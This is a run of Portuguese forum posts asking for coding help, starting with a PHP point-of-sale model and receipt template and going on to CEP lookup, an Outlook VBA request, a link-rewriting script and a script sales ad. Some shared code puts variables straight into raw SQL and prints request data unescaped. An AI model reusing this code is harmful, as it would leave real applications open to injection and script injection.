$warehouse_id)) { //get product details to calculate quantity $warehouse_quantity = $this->getProductQuantity($product_id, $warehouse_id); $warehouse_quantity = $warehouse_quantity['quantity']; $item_details = $this->getItemByID($item_id); $item_quantity = $item_details->quantity; $after_quantity = $warehouse_quantity + $item_quantity; $new_quantity = $after_quantity - $quantity; if($this->updateQuantity($product_id, $warehouse_id, $new_quantity)){ return TRUE; } } else { if($this->insertQuantity($product_id, $warehouse_id, -$quantity)){ return TRUE; } } return FALSE; } public function CalculateOldQuantity($item_id, $product_id, $quantity, $warehouse_id) { //get product details to calculate quantity $warehouse_quantity = $this->getProductQuantity($product_id, $warehouse_id); $warehouse_quantity = $warehouse_quantity['quantity']; $item_details = $this->getItemByID($item_id); $item_quantity = $item_details->quantity; $after_quantity = $warehouse_quantity + $item_quantity; if($this->updateQuantity($product_id, $warehouse_id, $after_quantity)){ return TRUE; } return FALSE; } public function addQuantity($product_id, $warehouse_id, $quantity) { //check if entry exist then update else inster if($this->getProductQuantity($product_id, $warehouse_id)) { $warehouse_quantity = $this->getProductQuantity($product_id, $warehouse_id); $old_quantity = $warehouse_quantity['quantity']; $new_quantity = $old_quantity - $quantity; if($this->updateQuantity($product_id, $warehouse_id, $new_quantity)){ return TRUE; } } else { if($this->insertQuantity($product_id, $warehouse_id, -$quantity)){ return TRUE; } } return FALSE; } public function insertQuantity($product_id, $warehouse_id, $quantity) { // Product data $productData = array( 'product_id' => $product_id, 'warehouse_id' => $warehouse_id, 'quantity' => $quantity ); if($this->db->insert('warehouses_products', $productData)) { return true; } else { return false; } } public function updateQuantity($product_id, $warehouse_id, $quantity) { $productData = array( 'quantity' => $quantity ); //$this->db->where('product_id', $id); if($this->db->update('warehouses_products', $productData, array('product_id' => $product_id, 'warehouse_id' => $warehouse_id))) { return true; } else { return false; } } public function getProductQuantity($product_id, $warehouse) { $q = $this->db->get_where('warehouses_products', array('product_id' => $product_id, 'warehouse_id' => $warehouse), 1); if( $q->num_rows() > 0 ) { return $q->row_array(); //$q->row(); } return FALSE; } public function getItemByID($id) { $q = $this->db->get_where('sale_items', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllSales() { $q = $this->db->get('sales'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function sales_count() { return $this->db->count_all("sales"); } public function fetch_sales($limit, $start) { $this->db->limit($limit, $start); $this->db->order_by("id", "desc"); $query = $this->db->get("sales"); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $data[] = $row; } return $data; } return false; } public function getAllInvoiceItems($sale_id) { $q = $this->db->get_where('sale_items', array('sale_id' => $sale_id)); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getAllSaleItems($id) { $q = $this->db->get_where('suspended_items', array('suspend_id' => $id)); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getSaleByID($id) { $q = $this->db->get_where('suspended_bills', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getInvoiceByID($id) { $q = $this->db->get_where('sales', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getInvoiceBySaleID($sale_id) { $q = $this->db->get_where('sales', array('id' => $sale_id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getQuoteByID($id) { $q = $this->db->get_where('quotes', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getQuoteByQID($id) { $this->db->select("reference_no, warehouse_id, biller_id, biller_name, customer_id, customer_name, date, note, inv_total, total_tax, total"); $this->db->from('quotes'); $this->db->where('id', $id); $this->db->limit(1); $q = $this->db->get(); if( $q->num_rows() > 0 ) { return $q->row_array(); } return FALSE; } public function getAllQuoteItems($quote_id) { $q = $this->db->get_where('quote_items', array('quote_id' => $quote_id)); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function addSale($saleDetails = array(), $items = array(), $warehouse_id, $sid = NULL) { // sale data $saleData = array( 'reference_no' => $saleDetails['reference_no'], 'warehouse_id' => $warehouse_id, 'biller_id' => $saleDetails['biller_id'], 'biller_name' => $saleDetails['biller_name'], 'customer_id' => $saleDetails['customer_id'], 'customer_name' => $saleDetails['customer_name'], 'date' => $saleDetails['date'], 'inv_total' => $saleDetails['inv_total'], 'total_tax' => $saleDetails['total_tax'], 'total' => $saleDetails['total'], 'total_tax2' => $saleDetails['total_tax2'], 'tax_rate2_id' => $saleDetails['tax_rate2_id'], 'inv_discount' => $saleDetails['inv_discount'], 'discount_id' => $saleDetails['discount_id'], 'user' => $saleDetails['user'], 'paid_by' => $saleDetails['paid_by'], 'count' => $saleDetails['count'], 'pos' => '1', 'paid' => $saleDetails['paid_val'], 'cc_no' => $saleDetails['cc_no_val'], 'cc_holder' => $saleDetails['cc_holder_val'], 'cheque_no' => $saleDetails['cheque_no_val'], ); if($this->db->insert('sales', $saleData)) { $sale_id = $this->db->insert_id(); foreach($items as $idata){ $this->nsQTY($idata['product_id'], $idata['quantity']); $this->updateProductQuantity($idata['product_id'], $warehouse_id, $idata['quantity']); } $addOn = array('sale_id' => $sale_id); end($addOn); foreach ( $items as &$var ) { $var = array_merge($addOn, $var); } if($this->db->insert_batch('sale_items', $items)) { if($sid) { $this->deleteSale($sid); } return $sale_id; } } return false; } public function nsQTY($product_id, $quantity) { $prD = $this->getProductByID($product_id); $nQTY = $prD->quantity - $quantity; $this->db->update('products', array('quantity' => $nQTY), array('id' => $product_id)); } /* public function addSale($invoice_type, $saleDetails = array(), $items = array(), $warehouse_id, $sid = NULL) { if($invoice_type == "real") { foreach($items as $data){ $product_id = $data['product_id']; $product_quantity = $data['quantity']; $this->updateProductQuantity($product_id, $warehouse_id, $product_quantity); } // sale data $saleData = array( 'reference_no' => $saleDetails['reference_no'], 'warehouse_id' => $warehouse_id, 'biller_id' => $saleDetails['biller_id'], 'biller_name' => $saleDetails['biller_name'], 'customer_id' => $saleDetails['customer_id'], 'customer_name' => $saleDetails['customer_name'], 'date' => $saleDetails['date'], 'inv_total' => $saleDetails['inv_total'], 'total_tax' => $saleDetails['total_tax'], 'total' => $saleDetails['total'], 'invoice_type' => $saleDetails['invoice_type'], 'in_type' => $saleDetails['in_type'], 'total_tax2' => $saleDetails['total_tax2'], 'tax_rate2_id' => $saleDetails['tax_rate2_id'], 'paid_by' => $saleDetails['paid_by'] ); if($this->db->insert('sales', $saleData)) { $sale_id = $this->db->insert_id(); $addOn = array('sale_id' => $sale_id); end($addOn); foreach ( $items as &$var ) { $var = array_merge($addOn, $var); } if($this->db->insert_batch('sale_items', $items)) { if($sid !== NULL) { $this->deleteSale($sid); } return $sale_id; } } } else { // sale data $saleData = array( 'reference_no' => $saleDetails['reference_no'], 'warehouse_id' => $warehouse_id, 'biller_id' => $saleDetails['biller_id'], 'biller_name' => $saleDetails['biller_name'], 'customer_id' => $saleDetails['customer_id'], 'customer_name' => $saleDetails['customer_name'], 'date' => $saleDetails['date'], 'inv_total' => $saleDetails['inv_total'], 'total_tax' => $saleDetails['total_tax'], 'total' => $saleDetails['total'], 'invoice_type' => $saleDetails['invoice_type'], 'in_type' => $saleDetails['in_type'], 'total_tax2' => $saleDetails['total_tax2'], 'tax_rate2_id' => $saleDetails['tax_rate2_id'] ); if($this->db->insert('quotes', $saleData)) { $sale_id = $this->db->insert_id(); $addOn = array('quote_id' => $sale_id); end($addOn); foreach ( $items as &$var ) { $var = array_merge($addOn, $var); } if($this->db->insert_batch('quote_items', $items)) { return $sale_id; } } else { return false; } } } */ public function getAllWarehouses() { $q = $this->db->get('warehouses'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getTodaySales() { $date = date('Y-m-d'); $myQuery = "SELECT DATE_FORMAT( date, '%W, %D %M %Y' ) AS date, SUM( COALESCE( total, 0 ) ) AS total FROM sales WHERE DATE(date) LIKE '{$date}'"; $q = $this->db->query($myQuery, false); if( $q->num_rows() > 0 ) { return $q->row(); } } public function getTodayCCSales() { $date = date('Y-m-d'); $myQuery = "SELECT SUM( COALESCE( total, 0 ) ) AS total FROM sales WHERE DATE(date) = '{$date}' AND paid_by = 'CC' GROUP BY date"; $q = $this->db->query($myQuery, false); if( $q->num_rows() > 0 ) { return $q->row(); } } public function getTodayCashSales() { $date = date('Y-m-d'); $myQuery = "SELECT SUM( COALESCE( total, 0 ) ) AS total FROM sales WHERE DATE(date) = '{$date}' AND paid_by = 'cash' GROUP BY date"; $q = $this->db->query($myQuery, false); if( $q->num_rows() > 0 ) { return $q->row(); } } public function getTodayChSales() { $date = date('Y-m-d'); $myQuery = "SELECT SUM( COALESCE( total, 0 ) ) AS total FROM sales WHERE DATE(date) = '{$date}' AND paid_by = 'Cheque' GROUP BY date"; $q = $this->db->query($myQuery, false); if( $q->num_rows() > 0 ) { return $q->row(); } } public function getDailySales($year, $month) { $myQuery = "SELECT DATE_FORMAT( date, '%e' ) AS date, SUM( COALESCE( total, 0 ) ) AS total FROM sales WHERE DATE_FORMAT( date, '%Y-%m' ) = '{$year}-{$month}' GROUP BY DATE_FORMAT( date, '%e' )"; $q = $this->db->query($myQuery, false); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getMonthlySales($year) { $myQuery = "SELECT DATE_FORMAT( date, '%c' ) AS date, SUM( COALESCE( total, 0 ) ) AS total FROM sales WHERE DATE_FORMAT( date, '%Y' ) = '{$year}' GROUP BY date_format( date, '%c' ) ORDER BY date_format( date, '%c' ) ASC"; $q = $this->db->query($myQuery, false); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getSuspendedBillByID($id) { $q = $this->db->get_where('suspended_bills', array('id' => $id)); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function suspendBill($customer_id, $saleData, $count, $tax1, $tax2, $total) { // bill data $billData = array( 'customer_id' => $customer_id, 'sale_data' => $saleData, 'count' => $count, 'tax1' => $tax1, 'tax2' => $tax2, 'total' => $total ); if( $this->db->insert('suspended_bills', $billData) ) { return true; } return FALSE; } public function suspendSale($saleDetails = array(), $items = array(), $count, $did = NULL) { if($did) { // sale data $saleData = array( 'count' => $count, 'customer_id' => $saleDetails['customer_id'], 'date' => $saleDetails['date'], 'total' => $saleDetails['inv_total'], 'tax1' => $saleDetails['total_tax'], 'total' => $saleDetails['total'], 'inv_total' => $saleDetails['inv_total'], 'tax2' => $saleDetails['total_tax2'], 'discount' => $saleDetails['inv_discount'] ); if($this->db->update('suspended_bills', $saleData, array('id' => $did)) && $this->db->delete('suspended_items', array('suspend_id' => $did))) { $addOn = array('suspend_id' => $did); end($addOn); foreach ( $items as &$var ) { $var = array_merge($addOn, $var); } if($this->db->insert_batch('suspended_items', $items)) { return TRUE; } } } else { // sale data $saleData = array( 'count' => $count, 'customer_id' => $saleDetails['customer_id'], 'date' => $saleDetails['date'], 'total' => $saleDetails['inv_total'], 'tax1' => $saleDetails['total_tax'], 'total' => $saleDetails['total'], 'inv_total' => $saleDetails['inv_total'], 'tax2' => $saleDetails['total_tax2'], 'discount' => $saleDetails['inv_discount'] ); if($this->db->insert('suspended_bills', $saleData)) { $suspend_id = $this->db->insert_id(); $addOn = array('suspend_id' => $suspend_id); end($addOn); foreach ( $items as &$var ) { $var = array_merge($addOn, $var); } if($this->db->insert_batch('suspended_items', $items)) { return TRUE; } } } return FALSE; } public function deleteSale($id) { if($this->db->delete('suspended_items', array('suspend_id' => $id)) && $this->db->delete('suspended_bills', array('id' => $id))) { return true; } return FALSE; } public function addCustomer($data) { if($this->db->insert('customers', $data)) { return true; } return false; } public function getWarehouseProductQuantity($warehouse_id, $product_id) { $q = $this->db->get_where('warehouses_products', array('warehouse_id' => $warehouse_id, 'product_id' => $product_id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } } ------------ VIEW DO PDV ------------ <!doctype html> <html> <head> <meta charset="utf-8"> <title><?php echo $page_title." ".$this->lang->line("no")." ".$inv->id; ?></title> <style type="text/css" media="all"> body { text-align:center; color:#000; font-family: Arial, Helvetica, sans-serif; font-size:12px; } #wrapper { width: 280px; margin: 0 auto; } #wrapper img { max-width: 250px; width: auto; } h3 { margin: 5px 0; } .left { width:60%; float:left; text-align:left; margin-bottom: 3px; } .right { width:40%; float:right; text-align:right; margin-bottom: 3px; } .table, .totals { width: 100%; margin:10px 0; } .table th { border-bottom: 1px solid #000; } .table td { padding:0; } .totals td { width: 24%; padding:0; } .table td:nth-child(2) { overflow:hidden; } @media print { #buttons { display: none; } #wrapper { max-width: 300px; width: 100%; margin: 0 auto; font-size:8px; } #wrapper img { max-width:250px; width: 80%; } } </style> </head> <body> <div id="wrapper"> <img src="<?php echo $this->config->base_url(); ?>assets/uploads/logos/<?php echo $biller->logo; ?>" alt="Biller Logo"> <h3 style="text-transform:uppercase;"><?php echo $biller->company; ?></h3> <?php echo "<p style=\"text-transform:capitalize;\">".$biller->address.", ".$biller->city.", ".$biller->postal_code.", ".$biller->state.", ".$biller->country."</p>"; echo "<span class=\"left\">".$this->lang->line("reference_no").": ".$inv->reference_no."</span> <span class=\"right\">".$this->lang->line("tel").": ".$biller->phone."</span>"; if($pos->cf_title1 != "" && $pos->cf_value1 != "") { echo "<span class=\"left\">".$pos->cf_title1.": ".$pos->cf_value1."</span>"; } if($pos->cf_title2 != "" && $pos->cf_value2 != "") { echo "<span class=\"right\">".$pos->cf_title2.": ".$pos->cf_value2."</span>"; } echo '<div style="clear:both;"></div>'; echo "<span class=\"left\">".$this->lang->line("customer").": ". $inv->customer_name."</span> <span class=\"right\">".$this->lang->line("date").": ".date(PHP_DATE, strtotime($inv->date))."</span>"; ?> <div style="clear:both;"></div> <table class="table" cellspacing="0" border="0"> <thead> <tr> <th><?php echo $this->lang->line("#"); ?></th> <th><?php echo $this->lang->line("description"); ?></th> <th><?php echo $this->lang->line("qty"); ?></th> <th><?php echo $this->lang->line("price"); ?></th> <th><?php echo $this->lang->line("total"); ?></th> </tr> </thead> <tbody> <?php $r = 1; foreach ($rows as $row):?> <tr> <td style="text-align:center; width:30px;"><?php echo $r; ?></td> <td style="text-align:left; width:180px;"><?php echo $row->product_name; ?></td> <td style="text-align:center; width:50px;"><?php echo $row->quantity; ?></td> <td style="text-align:right; width:55px; "><?php echo $this->ion_auth->formatMoney($row->unit_price); ?></td> <td style="text-align:right; width:65px;"><?php echo $this->ion_auth->formatMoney($row->gross_total); ?></td> </tr> <?php $r++; endforeach; ?> </tbody> </table> <table class="totals" cellspacing="0" border="0"> <tbody> <tr> <td style="text-align:left;"><?php echo $this->lang->line("total_items"); ?></td><td style="text-align:right; padding-right:1.5%; border-right: 1px solid #999;font-weight:bold;"><?php echo $inv->count; ?></td> <td style="text-align:left; padding-left:1.5%;">Total</td><td style="text-align:right;font-weight:bold;"><?php echo $this->ion_auth->formatMoney($inv->inv_total); ?></td> </tr> <tr> <?php if($inv->total_tax != 0 && TAX1) { ?> <td style="text-align:left;"><?php echo $this->lang->line("product_tax"); ?></td><td style="text-align:right; padding-right:1.5%; border-right: 1px solid #999;font-weight:bold;"><?php echo $this->ion_auth->formatMoney($inv->total_tax); ?></td> <?php } else { echo '<td></td>'; } ?> <?php if($inv->total_tax2 != 0 && TAX2) { ?> <td style="text-align:left; padding-left:1.5%;"><?php echo $this->lang->line("invoice_tax"); ?></td><td style="text-align:right;font-weight:bold;"><?php echo $this->ion_auth->formatMoney($inv->total_tax2); ?></td> <?php } else { echo '<td></td>'; } ?> </tr> <?php if($inv->inv_discount != 0 && DISCOUNT_OPTION) { ?><tr> <td colspan="2" style="text-align:left;"><?php echo $this->lang->line("discount"); ?></td><td colspan="2" style="text-align:right;font-weight:bold;"><?php echo $this->ion_auth->formatMoney($inv->inv_discount); ?></td> </tr><?php } ?> <tr> <td colspan="2" style="text-align:left; font-weight:bold; border-top:1px solid #000; padding-top:10px;"><?php echo $this->lang->line("total_payable"); ?></td><td colspan="2" style="border-top:1px solid #000; padding-top:10px; text-align:right; font-weight:bold;"><?php echo $this->ion_auth->formatMoney($inv->total); ?></td> </tr> <?php if($inv->paid_by == 'cash' && $inv->paid) { ?> <tr> <td colspan="2" style="text-align:left; font-weight:bold; padding-top:5px;"><?php echo $this->lang->line("paid"); ?></td><td colspan="2" style="padding-top:5px; text-align:right; font-weight:bold;"><?php echo $inv->paid; ?></td> </tr> <td colspan="2" style="text-align:left; font-weight:bold; padding-top:5px;"><?php echo $this->lang->line("change"); ?></td><td colspan="2" style="padding-top:5px; text-align:right; font-weight:bold;"><?php echo number_format(($inv->paid - $inv->total), 2, '.', ''); ?></td> </tr> <?php } if($inv->paid_by == 'CC' && $inv->cc_no) { ?> <tr> <td colspan="2" style="text-align:left; font-weight:bold; padding-top:5px;"><?php echo $this->lang->line("cc_no"); ?></td><td colspan="2" style="text-align:right; font-weight:bold;"><?php echo 'xxxx xxxx xxxx '.substr($inv->cc_no, -4); ?></td> </tr> <tr> <td colspan="2" style="text-align:left; font-weight:bold; padding-top:5px;"><?php echo $this->lang->line("cc_holder"); ?></td><td colspan="2" style="padding-top:5px; text-align:right; font-weight:bold;"><?php echo $inv->cc_holder; ?></td> </tr> <?php } if($inv->paid_by == 'Cheque' && $inv->cheque_no) { ?> <tr> <td colspan="2" style="text-align:left; font-weight:bold; padding-top:5px;"><?php echo $this->lang->line("cheque_no"); ?></td><td colspan="2" style="padding-top:5px; text-align:right; font-weight:bold;"><?php echo $inv->cheque_no; ?></td> </tr> <?php } ?> </tbody> </table> <div style="border-top:1px solid #000; padding-top:10px;"> <?php echo html_entity_decode($biller->invoice_footer); ?> </div> <div id="buttons" style="padding-top:10px; text-transform:uppercase;"> <span class="left"><a href="#" style="width:90%; display:block; font-size:12px; text-decoration: none; text-align:center; color:#000; background-color:#4FA950; border:2px solid #4FA950; padding: 10px 1px; font-weight:bold;" id="email"><?php echo $this->lang->line("email"); ?></a></span> <span class="right"><button type="button" onClick="window.print();return false;" style="width:100%; cursor:pointer; font-size:12px; background-color:#FFA93C; color:#000; text-align: center; border:1px solid #FFA93C; padding: 10px 1px; font-weight:bold;"><?php echo $this->lang->line("print"); ?></button></span> <div style="clear:both;"></div> <a href="<?php echo base_url(); ?>index.php?module=pos" style="width:98%; display:block; font-size:12px; text-decoration: none; text-align:center; color:#FFF; background-color:#007FFF; border:2px solid #007FFF; padding: 10px 1px; margin: 5px auto 10px auto; font-weight:bold;"><?php echo $this->lang->line("back_to_pos"); ?></a> <div style="clear:both;"></div> <div style="background:#F5F5F5; padding:10px;"> <p style="font-weight:bold;">Please don't forget to disble the header and footer in browser print settings.</p> <p style="text-transform: capitalize;"><strong>FF:</strong> File > Print Setup > Margin & Header/Footer Make all --blank--</p> <p style="text-transform: capitalize;"><strong>chrome:</strong> Menu > Print > Disable Header/Footer in Option & Set Margins to None</p> </div> <div style="clear:both;"></div> </div> </div> <script type="text/javascript" src="<?php echo base_url(); ?>assets/js/jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){ $('#email').click( function(){ var email = prompt("<?php echo $this->lang->line("email_address"); ?>","<?php echo $customer->email; ?>"); if (email!=null){ $.ajax({ type: "post", url: "index.php?module=pos&view=email_receipt", data: { <?php echo $this->security->get_csrf_token_name(); ?>: "<?php echo $this->security->get_csrf_hash(); ?>", email: email, id: <?php echo $inv->id; ?> }, dataType: "json", success: function(data) { alert(data.msg); }, error: function(){ alert('<?php echo $this->lang->line('ajax_request_failed'); ?>'); return false; } }); } return false; }); }); $(window).load(function() { window.print(); }); </script> </body> </html> Será que alguém pode me ajudar? Eu não sei aonde eu vou para que quando eu inicie a venda, eu possa editar o valor unitário do produto.
  18. Baixei um script de Guia comercial Excelente aqui no site scriptbrasil, conforme link (https://www.scriptbrasil.com.br/download/codigo/7675/). Após a instalação e configuração conforme orientação, que vem com o script, fica muito bom. (O script aceita cadastrar usuários mas na hora que o usuário vai entrar não consegue. O que causa estranheza é que após um usuário tentar lograr aparece o seguinte link depois da url do site onde foi hospedado: /index2.php?pg=index_vip). Esse arquivo index2.php não vem com o script e deve ser o motivo do erro. No script tem apenas o index.php e o index1.php Obs. No painel de administrador posso inserir anúncios, alterar senhas de usuários que conseguem se cadastrar, excluir usuários e alterar quase tudo no painel de administrador. Só não tem como os usuários cadastrados entrar no sistema para publicar anúncios grátis pela falta desse arquivo index2.php Se alguém puder ajudar, basta baixar e testar o script do link acima (hospedado aqui no ScriptBrasil) Att. Durval
  19. Olá amigos, sou novo aqui, se já foi discutido algo parecido me desculpem. Tenho um script em php, faz alguns meses o link de web service que o script usava parou de funcionar, tentei atualizar o script para com um novo web service do https://viacep.com.br/ mas sem sucesso, estou com dificuldades. Segue o código atual que não esta funcionando: <?php include("configuracao.php"); ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="Content-type" content="text/html; charset=utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <head> <script src="../js/jquery-2.1.1.min.js"></script> <script type="text/javascript" > $(document).ready(function(){ $("#cep").blur(function(){ $("#rua").val("...") $("#bairro").val("...") $("#xd").val("Procurando seu endereço...") $("#cidade").val("...") $("#uf").val("...") consulta = $("#cep").val() $.getScript("http://www.toolsweb.com.br/webservice/clienteWebService.php?cep="+consulta+"&formato=javascript", function(){ rua=unescape(resultadoCEP.logradouro) bairro=unescape(resultadoCEP.bairro) cidade=unescape(resultadoCEP.cidade) uf=unescape(resultadoCEP.uf) $("#rua").val(rua) $("#bairro").val(bairro) $("#cidade").val(cidade) $("#xd").val('Rua '+rua+', '+bairro+', '+cidade) $("#uf").val(uf) }); }); }); </script> </head> <style type="text/css"> body { background-color:#F9F9F9; margin: 0; padding: 0; font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif; } div { width: 600px; margin: 5em auto; padding: 50px; background-color:#F9F9F9; border-radius: 1em; } a:link, a:visited { color: #38488f; text-decoration: none; } @media (max-width: 700px) { body { background-color: #fff; } div { width: auto; margin: 0 auto; border-radius: 0; padding: 1em; } } </style> <link href="../css/bootstrap.min.css" rel="stylesheet"> <link href="../css/bootstrap.css" rel="stylesheet"> </head> <body> <div> <h1>DIGITE SEU CEP</h1> <p>Este é seu primeiro acesso, verifique se entregamos em seu bairro. <form action="" method="post"> <input type="text" name="cep" value="<?=$_SESSION[dv_cep];?>" id="cep" class="form-control" maxlength="8" placeholder="CEP" /> <input type="text" name="nome" class="form-control" value="<?=$_SESSION[dv_nome];?>" placeholder="Seu nome" /> <br> <input name="xd" type="text" id="xd" size="60" disabled="disabled" style="color:#006600;" class="form-control" /><br /> <input type="text" name="email" class="form-control" value="<?=$_SESSION[dv_email];?>" placeholder="Seu email" /><br /> <input name="cep" type="hidden" id="cep" value="" size="15" maxlength="8" /> <input name="rua" type="hidden" id="rua" size="60" /> <input name="bairro" type="hidden" id="bairro" style="border:none;border:none;" class="form-control" size="60" /> <input name="cidade" type="hidden" id="cidade" size="60" /> <input type="submit" value="Pronto" name="finalizarq" style="width:100%;margin-bottom:1%;" class="btn btn-success" /><br /> </form> <?php if($_POST[finalizarq]) { session_start(); $_SESSION[dv_nome] = $_POST[nome]; $_SESSION[dv_email] = $_POST; $_SESSION[dv_cep] = $_POST[cep]; if(!strstr($cfg[bairros], $_POST[bairro])==TRUE) { echo '<br><div class="alert alert-info fade in"><span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true" style="margin-right:0.5%;"></span> Desculpe, n&atilde;o entregamos em '.$_POST[bairro].'. </div>'; } else { session_start(); $_SESSION[gsw] = 1; echo '<body onload="window.parent.parent.location.reload();"></body>'; } } ?> </p> </div> </body> </html> Alguém poderia me ajudar? Obrigado!
  20. Bom Dia. Estou precisando de um script para o Outlook que salve os anexos de um determinado remetente em uma pasta no drive C: e que substitua o mesmo anexo já existente na pasta. sempre recebo de um remetente informações atualizadas em um anexo e preciso que esse anexo seja salvo automaticamente em uma pasta, mas que sempre seja o anexo mais recente, o Outlook deve ao salvar substituir o anexo velho, preciso muito disso, por favor ajudem. ressalto que não conheço muito de VBA, só o basico. obrigado!
  21. Olá amigos, bom, esse script que eu encontrei na internet inverte a url, mas eu gostaria de que ele não invertesse, algum de vocês poderia me ajudar? Código: var domainuc='openload.co, ok.ru, videoapi.my.mail.ru, katfile.com, mega.nz, brfiles.com, salefiles.com, secureupload.eu, mega.co.nz, uploaded.net'; //MUDAR AKI... var urluc='http://www.meuSite.com/ss.php?url='+""; //MUDAR AKI... var domainsuc='linkbux, imagegravy, adbrite, clicksor, downlivre'; function cuc(){ var linkuc=document.getElementsByTagName("a"); try{ var locuc=(""+top.location.href).replace("http://","").replace("https://","").replace("www.",""); }catch(e){ var locuc=(""+document.location.href).replace("http://","").replace("https://","").replace("www.",""); } for(i=0;i<linkuc.length;i++){ domain_urluc=(""+linkuc.href).replace(/^\s+/g,"").replace(/\s+$/g,"").replace("http://","").replace("https://",""); if(duc(linkuc.href)&&(((" "+linkuc.href).indexOf(locuc)<=0||(" "+linkuc.href).indexOf("http")<=0)||(" "+linkuc.href).lastIndexOf("http:")>3)&&(" "+linkuc.href).indexOf("script:")<=0&&(" "+linkuc.href).indexOf("#")!=1&&(" "+linkuc.href).indexOf("mailto:")<=0&&(" "+linkuc.href).indexOf("file:")<=0&&(" "+linkuc.href).indexOf("#exit")<=0&&!(!isNaN(parseInt(domain_urluc.substr(0,1)))&&(!isNaN(parseInt(domain_urluc.substr(0,2)))||domain_urluc.substr(0,2)=="."))){ linkuc.target="_blank"; var inverte = linkuc.href.match(/[^|]/gi).reverse().join(""); linkuc.href=urluc+inverte; } } } function duc(urluc){ if(""+domainuc!="undefined"&&domainuc!=""&&domainuc.replace(/\s/g,"")!=""&&urluc!=""){ if((" "+domainuc).indexOf(",")>0){ params_to_skip=domainuc.split(","); }else{ params_to_skip=new Array(domainuc); }for(s=0;s<params_to_skip.length;s++){ if((" "+urluc.toLowerCase()).indexOf(params_to_skip.toLowerCase())>0){ if(""+domainsuc!="undefined"&&domainsuc!=""&&domainsuc.replace(/\s/g,"")!=""&&urluc!=""){ if((" "+domainsuc).indexOf(",")>0){ params_to_skip=domainsuc.split(","); }else{params_to_skip=new Array(domainsuc);} for(s=0;s<params_to_skip.length;s++){ if((" "+urluc.toLowerCase()).indexOf(params_to_skip.toLowerCase())>0){ return false; break; }; }return true; }else{ return true; } }; } return false; }else{ return false; } }/if(""+window.onload==""||""+window.onload=="null"){ window.onload=cuc; }else{ var tout=window.setTimeout("cuc(); clearTimeout(tout)",1); };
  22. SobreCrie em minutos sua própria rede social de perguntas e respostas anônimas com o askClone script.Este script se baseia na mesma ideia das redes askFm e FormspringMe.A compra deste produto inclui: Arquivos do Script e 1 Manual de Instalação e Suporte (em PDF).Características Script novo, criado em Fevereiro de 2017 Edição Limitada, estou planejando vender apenas um certo número deste script. Totalmente em Português (pt-BR) 100% Código-Aberto (edite os códigos facilmente) Construído com PHP e database MySQL Possui Instalador Automático (faz conexão com database, configura site, cria conta de administrador) Painel de Administração avançado (gerencie usuários, perguntas, configure o site, veja atualizações) Perfis com URL no formato: meusite.com/nomedeusuario SEO integrado (.htaccess) Sistema de Buscas de perfis por: nome de usuário, nome e sobrenome Enviar, excluir, responder perguntas 12 Temas Disponíveis para os usuários escolherem em seus perfis Configurações de Privacidade – Controle Anti-SPAM (Usuários decidem se querem ou não perguntas de anônimos) Dê a usuários emblemas de Contas Verificadas Sistema de comentários em perguntas/respostas Sistema de Widgets com gerador de código HTML (permita que os usuários criem uma caixa de perguntas e adicionem aos seus blogs/sites) E muito mais, acesse o demo. Demonstração (Demo Online)Algumas funções foram desativadas na demo, para não afetar o servidor.Usuário Normal: demoSenha: demo123Usuário Administrador: admSenha Administrador: adm123 Link do Demo: demos.meth0d.org/ask_br/ Painel de Administração: demos.meth0d.org/ask_br/admin/index.php Exemplo de Perfil: demos.meth0d.org/ask_br/demo Galeria de Imagens (Ver Galeria Completa)Perguntas FrequentesComo recebo o produto que comprei ?O produto será enviado por anexo para o seu email dentro de 24 horas após o pagamento ser confirmado.O arquivo estará no formato: nomedoscript.zip ou nomedoscript.rar.Se eu não gostar do produto/script eu posso ter meu dinheiro de volta ?Como se trata de arquivos digitais transferíveis, não temos devolução. Justamente por isso nós disponibilizamos as demos (demonstrações) dos produtos, veja e teste bem antes de efetuar sua compra.Se eu tiver problemas ou encontrar erros, o que faço ?Não se preocupe, em caso de dúvidas ou erros, nós damos todo o suporte necessário. No Manual você encontrará os links e emails para isso.Quero Comprar!Você pode comprar pelo Mercado Livre por R$259,00 ou se preferir pagar mais barato, compre pelo Meu Site usando Paypal, com 30% de desconto, saindo por R$ 200,00.
  23. Olá pessoal!Tenho um projeto de sistema de inscrições muito concorrido em um colégio.Da última vez, as 57 vagas de uma modalidade foram esgotadas em 24 segundos.Com essa concorrência, parece que o script de realização de inscrição foi executado ao mesmo tempo por dois usuários diferentes, ocupando a mesma vaga, com as mesmas características.Isso me gerou um grave problema! Ficou sobrando uma vaga incorreta no final... que foi preenchida em seguida.Alguém tem ideia de como fazer pra impossibilitar a execução desse script ao mesmo tempo? Será que isso é possível?
